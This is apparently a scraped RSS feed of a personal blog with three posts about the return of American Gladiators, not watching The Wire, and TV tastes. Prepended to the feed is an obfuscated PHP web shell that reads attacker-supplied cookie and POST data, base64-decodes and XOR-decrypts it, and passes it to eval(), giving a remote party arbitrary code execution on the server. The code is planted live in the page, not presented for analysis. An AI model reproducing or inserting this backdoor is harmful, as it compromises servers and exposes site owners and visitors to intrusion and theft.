$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();} american gladiators – Regular Guy https://regularguycolumn.com/blog Why Stand Out? Be Regular. Sat, 10 May 2008 19:14:27 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 Six More Days https://regularguycolumn.com/blog/?p=283 https://regularguycolumn.com/blog/?p=283#comments Tue, 06 May 2008 18:58:33 +0000 http://regularguycolumn.com/blog/?p=283 Summer TV comes a little early when American Gladiators returns on Monday night. NBC had a bug on the screen announcing the premier for a little while, but I finally saw a press release about it yesterday.

The season will debut from 8-10 on Monday night. The release didn’t say what time the show will be on after that. I am guessing 8-9, but am too lazy to go look it up.

The two winners from last season will return as Gladiators and another female Gladiator has joined the group. They will introduce two new events and have re-vamped the Eliminator. I also hope they have done something about Powerball to reduce the chance of injuries for the competitors.

The bad news is that Hulk and Leila will continue to deliver insipid commentary. Oh, well. You can’t win ’em all.

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I Don’t Have to Do Anything https://regularguycolumn.com/blog/?p=224 https://regularguycolumn.com/blog/?p=224#comments Mon, 07 Jan 2008 14:13:19 +0000 http://regularguycolumn.com/blog/?p=224 I worked with a guy at a previous job who hated the phrase “have to.” When people would tell he that he had to do something, he would look at them and say, “I’m an adult. I don’t have to do anything.”

I loved it, especially when it came to food and television shows and other things that rely on personal taste. Just because you like something doesn’t mean I will like something. I remember when a family member told my wife that she had to read Memoirs of a Geisha because it would “change your life.”

My wife is pretty sure about the things she likes and reads tons of books so I knew it wouldn’t happen. She did read the book and when the person asked her about it, Maria just kind of shrugged and said it was OK.

I bring these two things up because “The Wire” debuted its new season on HBO last night. I know people will start asking me soon if I watched it.

I didn’t. And I don’t know if I will. I might. I’m not really sure because I don’t have HBO (I have also never seen “The Sopranos,” which I know will cause some people to go into apoplectic shock) and I don’t really plan on adding it to watch a few shows.

To steal from The Office‘s B.J. Novak, “I will watch The Wire when I watch The Wire!

I probably will break down this time for a few reasons. I know someone who directed one episode so that will be cool. And the season focuses on the media, which is near and dear to my heart.

But the people who tell me that my life is missing something because I don’t watch a TV show will make the stubborn part of me wait a while before I even think about watching. And when I do, I won’t go around telling people about it just because I know that will make the people who can’t believe I don’t watch it happy.

I was happy enough last night watching “Desperate Housewives” and flipping over to “American Gladiators” during commercials. I taped that and will watch it tonight. Now that’s something you “have to” watch.

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A Beautiful Day https://regularguycolumn.com/blog/?p=148 https://regularguycolumn.com/blog/?p=148#comments Thu, 23 Aug 2007 19:21:55 +0000 http://regularguycolumn.com/blog/?p=148 No, I haven’t decided to go all U2 on my readers, but something absolutely wonderful happened today. It wasn’t the two R.E.M. songs I heard on XM in the first 15 minutes of my commute, which happened almost two hours earlier than usual today. It wasn’t the free lunch I got. It wasn’t the delicious Toffee Nut Latte I had on the drive in.

American Gladiators is coming back.

This is seriously one of the best pieces of TV news I have heard in ages. A while back, I traced the downfall of American society to the cancellation of AG. I now firmly believe that America will get stronger once NBC puts the show on the air.

All they have to do is find contestants. If you want to be a part of the greatest show in the history of television, you can apply using this 22-page form. They ask some real important questions for something that is designed to be a test of physical strength:

  • What pets do you own now, or have owned at any time in the past?
  • If you were going to be in People magazine, what inside info about you would be put up next to your picture?
  • Draw a picture of yourself

So despite everything I have written above, I’m not sure if I want to watch this show. I want to see a dude do a front flip over a gladiator in order to avoid a tackle in Breakthrough and Conquer. I don’t want to know about someone’s pet. They’re gonna ruin this show.

Since I can’t find a video of that flip = it was the most amazing thing ever – I leave you with Malibu and one of the greatest AG moments ever.

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